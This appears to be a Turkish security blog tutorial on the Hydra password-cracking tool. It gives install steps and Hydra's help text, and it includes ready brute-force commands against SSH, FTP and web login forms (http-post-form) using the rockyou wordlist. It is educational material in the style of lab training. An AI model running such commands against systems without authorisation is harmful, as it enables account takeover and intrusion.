Hydra ile Şifre Kırma
En son güncellendiği tarih: 2 Eyl 2020
Sitemizde gösterilen her şey eğitim amaçlıdır. Yasal olmayan şekillerde kullanılmamalıdır. Kullanılırsa sorumluluk kişiye aittir.
Genel Bakış:
Hydra bir çevrimiçi şifre kırma aracıdır. Tek tek elle onlarca hatta milyonlarca şifreyi denemek yerine Hydra'yı belirlediğimiz bir şifre listesiyle bir çok sisteme kaba kuvvet saldırısı yani şifre deneme saldırısı yapabiliriz. Hydra ile web formu , Telnet, POP3, FTP, SSH ve çok daha fazla servisin şifresi kırılabilir. Bu yazıda Hydra'nın nasıl indiriliceğininden ve genel kullanımından bahsedeceğiz.
Hydra'yı İndirmek:
Eğer siber güvenlik alanında en çok tercih edilen Linux dağıtımlarından biri olan Kali Linux'ı kullanıyorsanız hali hazırda sisteminizde Hydra kurulu gelmektedir. Kali Linux hakkındaki yazımızı okumak için bu linke tıklayabilirsiniz. Eğer isterseniz de aşağıdaki adımları uygulayarak sisteminize Hydra'yı indirebilirsiniz. Hydra kullanmak için hatta neredeyse bütün siber güvenlik işlemleri için Linux tavsiye ediyoruz ama dilerseniz windows veya macos için de indirebilirsiniz. Komut satırınızı açın ve aşağıdaki komutları girin.
Linux:
sudo apt-get -y install build-essential
sudo apt-get install git
git clone https://github.com/vanhauser-thc/thc-hydra.git
cd thc-hydra
./configure
make
sudo make install
Bir sorunla karşılaşırsanız aşağıdaki komutu kullanıp yeniden hydrayı çalıştırmayı deneyin
sudo apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev \ libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev \ firebird-dev libncp-dev
Windows:
https://www.techwalla.com/articles/how-to-install-hydra-on-windows-with-cygwin
MacOS:
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)"
brew install hydra
Hydra'yı Kullanmak:
Hydranın yardım ekranını açmak için:
hydra -h
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]
Options:
-R restore a previous aborted/crashed session
-S perform an SSL connect
-s PORT if the service is on a different default port, define it here
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-x MIN:MAX:CHARSET password bruteforce generation, type "-x -h" to get help
-e nsr try "n" null password, "s" login as pass and/or "r" reversed login
-u loop around users, not passwords (effective! implied with -x)
-C FILE colon separated "login:pass" format, instead of -L/-P options
-M FILE list of servers to be attacked in parallel, one entry per line
-o FILE write found login/password pairs to FILE instead of stdout
-f / -F exit when a login/pass pair is found (-M: -f per host, -F global)
-t TASKS run TASKS number of connects in parallel (per host, default: 16)
-w / -W TIME waittime for responses (32s) / between connects per thread
-4 / -6 prefer IPv4 (default) or IPv6 addresses
-v / -V / -d verbose mode / show login+pass for each attempt / debug mode
-U service module usage details
server the target server (use either this OR the -M option)
service the service to crack (see below for supported protocols)
OPT some service modules support additional input (-U for module help)
Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
Hydra is a tool to guess/crack valid login/password pairs - usage only allowed
for legal purposes. This tool is licensed under AGPL v3.0.
The newest version is always available at http://www.thc.org/thc-hydra
These services were not compiled in: sapr3 oracle.
Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup.
E.g.: % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://)
% export HYDRA_PROXY_HTTP=http://proxy:8080
% export HYDRA_PROXY_AUTH=user:pass
Examples:
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5
Gördüğünüz gibi çok detaylı bir yardım ekranı var. Eğer bu ekrandan bir şey anlamadıysanız merak etmeyin en gerekli Hydra parametrelerini ve açıklamalarını aşağıda bulabilirsiniz. Ayraç içine aşınmış bölgeler yerine kendi değerlerinizi girmeniz gereklidir.
-l (kullanıcı adı) yazıyorsa
hydra -l atahan
yazmanız gereklidir.
Ayarlar ve Kullanışları:
Kullanıcı Belirtme:
-l (kullanıcı adı) veya -L (kullanıcı adları dosyası)
Şifre Belirtme:
-p (şifre) veya -P (şifreler dosyası)
Port Belirtme:
-s (port)
Görünürlük Ayarlama:
Eğer Hydra'nın neler yaptığını görmek istiyorsanız bu iki taneden birini kullanmanız gereklidir. Kullanmak için bir değer girilmez sadece yazmanız yeterlidir.
-v Hydra'nın yaptığı işlemleri gösterir.
-V Hydra'nın yaptığı işlemleri ve denenen bütün kullanıcı:şifre kombinasyonlarını gösterir.
Hedef Belirtme:
Gerekli her şeyi girdikten sonra hedef seçmeniz gereklidir. Bu hedefi seçerken bir hedef servis de seçilir. Hydra'nın desteklediği servisleri buradan veya github sayfasından görebilirsiniz.
(servis)://(hedefin_ip_adresi)
Örnek Komut:
hydra -l atahan -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.10
hydra -l atahan -P /usr/share/wordlists/rockyou.txt ftp://192.169.1.10
Bunlar Hydra'nın en temel kullanımı için yeterli olacaktır fakat bazen giriş yapma formu tarzında kullanıcı adı ve parola isteyen internet sayfalarına yönelik saldırılar yapmamız gerekebilir. Bunun için Hydranın "http-post-form" saldırısını kullnacağız.
hydra -l (kullanıcı_adı) -P (şifre_listesi) (hedefin_ip_adresi) http-post-form "/(giriş_yap_urlsi):username=^USER^&password=^PASS^:F=(hata_mesajı)" -V
Şimdi bölüm bölüm bu komutu inceleyelim.
Hydra
Hydra'yı başlatır
-l
Kullanıcı adı belirtilir
-P
Şifre listesi belirtilir
hedefin_ip_adresi
hedef sistemi belirtir http://hedef.com veya http://10.10.10.25 gibi olabilir
http-post-form
Yapıcağımız saldırı tipini belirtir
/giriş_yap_urlsi
Sitedeki giriş yapma sayfasının urlsi http://hedef.com/login veya http://10.10.10.25/login
:username
Giriş yapma formundaki kullanıcı adı yazılan kutunun site kodlarındaki ismi
=^USER^
Hydra'ya kullanıcı adlarını buraya denenmesi gerektiğini belirtir
&password
Giriş yapma formundaki şifre yazılan kutunun site kodlarındaki ismi
=^PASS^
Hydra'ya şifrelerin buraya denenmesi gerektiğini belirtir
:F=" "
Hata mesajının ne olduğu tırnakların arasında belirtilir
-V
Hydra'nın yaptığı işlemleri ve şifre denemelerini göstermek için kullanılır
www.tryhackme.com sitesindeki Hydra dersini ve bu ders için hazırladığım yazıyı okuyabilirsiniz. Anlamadığınız kısımları veya karşılaştığınız sorunları yorum atarsanız seve seve yardımcı olmaya çalışırız. Unutmayın "TEKNOLOJİ SANATTIR!!".